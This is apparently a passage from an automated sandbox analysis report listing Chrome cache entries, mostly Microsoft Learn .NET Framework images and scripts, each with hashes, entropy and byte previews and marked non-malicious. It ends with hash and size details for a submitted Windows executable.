SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1432
Category:	downloaded
Size (bytes):	579
Entropy (8bit):	7.647319223236145
Encrypted:	false
SSDEEP:	12:Xf4kgrJfu8oV8J2K8EzIKJr+UjkilnwPfI6pUKvOH/gJ:Xwhm8IG8E0ijp9w3HpUNG
MD5:	FE53538B7984816B13FC3DFFC3579C77
SHA1:	2D3CEB405A074B4151BFFA26649F483EFECB808B
SHA-256:	A058B7D7F6D6F60E9B58BD658D05B3B97B776E9245BB6885132D21E261977AB7
SHA-512:	4ED8D7AF940A4CA0A78A388C1440E326DDB50FF0B2B35D2F429E94905110B5A495E4501F8C7A2C304136C4BD0F85B4A7F3092270F30A7BEDDA471FDEAD079C09
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	...........T.n.@.=._1.. ..D.B. P5(.N..z=.[.......{wm..8H>..........'... ....7.uQ2....e...0...Ec..E/..'.....'..."X2.S4.....!. ......0Z..h.J.....8$.6...A@..u.S......='....%.B..Lq.O.w...w.d...Ot~...+b.s....E...\|..+l...&....w..."?7...+\.n41..B>.o.+..nA...0^Y..\.o.=].......i[p..$q.p...-e......b..2.m.......#6(]..WhA..k..r."....7X..d.os!S...;........e.....}].V4.......c...E#.=....P...n.<.I.#...r.}...\|"..b.GG.f..p....w....!8l....z.j.GPo..1..WuY.Hm.......m......#O.^.....}.g/.E..^.'g.vy.7..}.n;63$5K........t.u/.a..3...~N.?.q..p.lMf@.P..A..=O}......C....

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from TOPS/20, original size modulo 2^32 1173007
Category:	downloaded
Size (bytes):	265844
Entropy (8bit):	7.998649189752045
Encrypted:	true
SSDEEP:	6144:XMQ0jH5KUFLVe1lgn4B7FD4XxKXN6D3hJ0OnYMsowDg2rLjG0:XUtKUUl40UXxyN6RYMsv84La0
MD5:	34504ED4414852E907ECC19528C2A9F0
SHA1:	0694CA8841B146ADCAF21C84DEDC1B14E0A70646
SHA-256:	C5327AC879B833D7A4B68E7C5530B2040D31E1E17C7A139A1FDD3E33F6102810
SHA-512:	173B454754862F7750EAEF45D9ACF41E9DA855F4584663F42B67DAED6F407F07497348EFDFCF14FEEEDA773414081248FEC361AC4D4206F1DCC283E6A399BE2F
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	...........}.w.H.._qt..iP....{49...\|..C..'d...I..W..l...U..u.[...ag}f.X.~TWWU..?.e..3?..f%.U..o.1.:...b..x...$..RV...].....R......p..Qu.....o..{..b.....H..\....Y'.^.....n..E^...:...z.~......O.IVVq6b.Y.QQ...fkUW.......=....Wt......Tv...W.2.~..;....9mn..qq.1.'....yh6....L.6"l.F.67.Y.nD....".....[.<,....8..#..1Ng...=....}...:I....wF9.........]/..>;.l.-.V...\|x.6..kF0...........~..c...G].. L...'..jG...V....X..fQ\..&,..n...bX.....w.Y0.-...N...9.../?..b\|.<L..t.^.8.P5.;[.....7a..(.w<.;~t99.S.{..u...1....@d..d.CqR`I.>....O.UqI+4.?......f[[._z0..8DI7...;.36...tV^.Y. (...jt.+.GW.!mP..gI..\^a....QeX.......`.@..q..z...6..Y..06....r..4.....T\_o..;.v.qG..IP..N.9.........B%...e.......\|.f.......6.5.. ...hqK......B.....B.;...!L(.P`.....&......b..W.....A..H.F.8 ...MaP....wOB......\|..O....L.!..i...k.L..3..6.z.\|(.(O.'.6.;.\|A7.'........_.U......q.`...qu.$....H>'.#.Y.&2.y2.1.!.L.-...8...w..n......A8._..wv.."2...^l..qE........a..N...sV=....V...c.VX.....8.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1817143
Category:	downloaded
Size (bytes):	499381
Entropy (8bit):	7.999122330797421
Encrypted:	true
SSDEEP:	12288:7amticjOUp56cy34Esj4a5rNtnMn6GXI4JDMe8n9SVC2Pgbp9V:7amkc5wckbsj4YNtnK6gIdGP2t
MD5:	831A0AA25AF2C60A7380EA75C321D930
SHA1:	140EC306C24AB6F348C4DDE5900B219D817E2026
SHA-256:	8CDDE5DAA52335C0A4E416F6FC22AA80744207A38FC276BD65341C2D2E903557
SHA-512:	0147937B2B2CF9BBF7E8DBEE2D598E156C6CE4DDFF224B3DC48CAED96E89038ECDFF1ACE743B82FDF6155C40B674F4B1983693DBE45C39898487D3B7BE258161
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	............i{.9....._.hf2..h.%...R.3.N.l=.'-K.].\.T.......7.VIN...9}ud..@..A..J.Tl.Y.N..~.\..]M...+.<.$.Yu..I&....V#g.,..$^.$......E..:.#.N.p...g;.5..\.T6..B.Y.....3..,4.z1I.j..[.W.^...l+..........R$...=.y.8:....N.L.......=q...1W.L.L..Y...7Q.g...Y.I...V.JU....4P..7.2/...r..!...me._..{.o....2.fa..gqR..l+.$be9.T..W...\|N.&.......?\|..M.;ba..f...v...A..Q..oQ.&.....qm.D.:..,.x.G......LcU...u..9.=..W..Q.?..9.{%...r...;.W.#.F\.=...\|...:.l.GO..Wq8....&>..2/.Eu....b..........T./....I9...A....^X.N'.....Y&3x.......-...ay......x^:.K..2.....F.A......$..zK.$.....(....v\..]gns..{...l.,./..IxESq.,..Y.Z;....0U.7....a...l+. -@..q).OE.u.'..'.V.ME....f........7";.T.."......f. ..`.Q..Zo..HKq..D.3s....L.S.....E..e~...hz~.{Gu...g.O.;5...v..xT.\Z....z..Y...R..3..C..N.g..+.....,#....`U.1...].. Y....y\|:....S&....0...(..r%.R:!..3F..M.}M.VV.wj2\|...~.U5a.}.V<..........[Ux.8..B...z.m{X...x\|t...A.&....U....G.Us...[.....Uy..4.T.4.%!*N...7.'3R,.HX.z..K.S.:....i...r

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from TOPS/20, original size modulo 2^32 5644
Category:	downloaded
Size (bytes):	1404
Entropy (8bit):	7.844826186366301
Encrypted:	false
SSDEEP:	24:XWMt5tnckcYPAgmVo4mOUCqhDV0c7p+oWGVsmOe+fDWoncV30N:XWCtnckio41mnl7pLTHOeie36
MD5:	0C10AA37A1C096B0CA5330E0D345373A
SHA1:	336AB141373D86CF95CB3D787DDF1D3A3E65E11F
SHA-256:	E2625E8029266F7989F5B29E46DEC5F495649C39FC62EC013A24C96953BC1CF6
SHA-512:	37D65388EDA07CE33E121F5091F62FAB70A7DC1878A5397448D2D8FBAA0BABBE828BB950C9D038FD05A411C02AC405E0D97E0EB9AC8936C1122EE19CC2BBE766
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	...........Xmo.6..+..5j..&...2.......h.,s.H...8.....d...E..:.....G.H.....d.?.......Er.d.....fu.a...'..d..V..;),.......%gZ.....L.R.R.T..j....a.+.'b..1.U.Z..#+.K.JR)...Y...@K...+...1$...<ZM.."?.T...S)...9...$.G..I>w\|...Ji..._.htz...-.g.h.$.oGI..f.R....,K..g....5.W.l~vu::.Q........lq.......Y....#......w...h.......?.L...u........0[+...h.:..).:..{.f..P. +pw. ..f..Bbxq.$n..%..Y..........mp.E.6G.....A.'...../.V>...(j..A..j"o.....Z.....a...Nq..P.9-.5&<.9..dG...2V.S..Dsh2.i.........y.(. ..m.?V`\|e..Qa.0...H..w..%D`.y0...W..8.x.2.J.-... .wH@j.Rp.tz..{P.6F..:.ic02..R..d\&..~...).\|.G.f.W<.......D.l..1.i.v....Uj..i...RV..`.X.....lS9.Z#J.\S.yXj.-. ....o.b."t<..6.6A.h{].5.PV1...^...Q......p'e.i..(...O.g]{.......q{.N....)k../z....7..1v...8./.aC.]J.).&.x!..K.:.r.Pvv.....^.....m.........D..Ejo.5,J...1..>x.H.:P..V.wH.<,v_.Ej'.@NUz..^.:.9i(c.p.u....5.\|Xy.yc..a...2....,U.O...............9..3..*.....F.o1...r.R.......e.j.P.C.=pOm..b%<...J ":d.<tH.fm.fA...7.

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946449345306196
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'858'560 bytes
MD5:	2b86aab9799fdb49d90e8d5c3f773c33
SHA1:	73f675bfc40ae943545488f8279ff6969d47588b
SHA256:	07a31ff1a605c2c322b555d4a0343f99fb780ab06b05dc6c0a8c0a426f5bd04a
